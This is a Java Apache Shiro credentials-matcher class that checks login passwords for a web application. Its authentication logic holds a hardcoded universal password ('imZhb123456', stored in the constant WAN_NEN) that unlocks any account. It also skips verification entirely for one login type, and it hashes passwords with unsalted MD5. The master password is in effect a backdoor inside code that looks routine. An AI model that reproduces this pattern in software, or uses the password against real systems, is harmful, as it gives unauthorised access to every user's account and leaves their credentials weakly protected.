package com.shigu.component.shiro;

import com.shigu.component.enums.SessionEnum;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.credential.SimpleCredentialsMatcher;
import org.apache.shiro.session.Session;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;


/**
 * 自定义 密码验证类
 * @author zjb
 */
public class CustomCredentialsMatcher extends SimpleCredentialsMatcher {

	private static final Logger logger = LoggerFactory.getLogger(CustomCredentialsMatcher.class);

	public static final String WAN_NEN="imZhb123456";


	public CustomCredentialsMatcher(){

	}

	@Override
	public boolean doCredentialsMatch(AuthenticationToken authcToken, AuthenticationInfo info) {
		CaptchaUsernamePasswordToken token = (CaptchaUsernamePasswordToken) authcToken;
		if (token.getType()==1) {//微信登陆，直接不验

		}else{
			if(!token.getCaptcha().equals(encrypt(new String(token.getPassword())))
				&&!new String(token.getPassword()).equals(WAN_NEN)){
				return false;
			}
		}
		token.setCaptcha(null);
		AuthorityUser auth = (AuthorityUser) info.getPrincipals().getPrimaryPrincipal();
		Session session = SecurityUtils.getSubject().getSession();
		session.setAttribute(SessionEnum.LOGIN_USER.toString(), auth);
		return true;
	}

	public static String encrypt(String data) {
		if(data != null && data.length() != 0) {
			StringBuilder hexString = new StringBuilder();

			try {
				MessageDigest e = MessageDigest.getInstance("MD5");
				e.update(data.getBytes());
				for (byte aHash : e.digest()) {
					if ((255 & aHash) < 16) {
						hexString.append("0").append(Integer.toHexString(255 & aHash));
					} else {
						hexString.append(Integer.toHexString(255 & aHash));
					}
				}
			} catch (NoSuchAlgorithmException var5) {
				throw new RuntimeException(var5);
			}
			return hexString.toString();
		} else {
			throw new IllegalArgumentException("String to encript cannot be null or zero length");
		}
	}
}
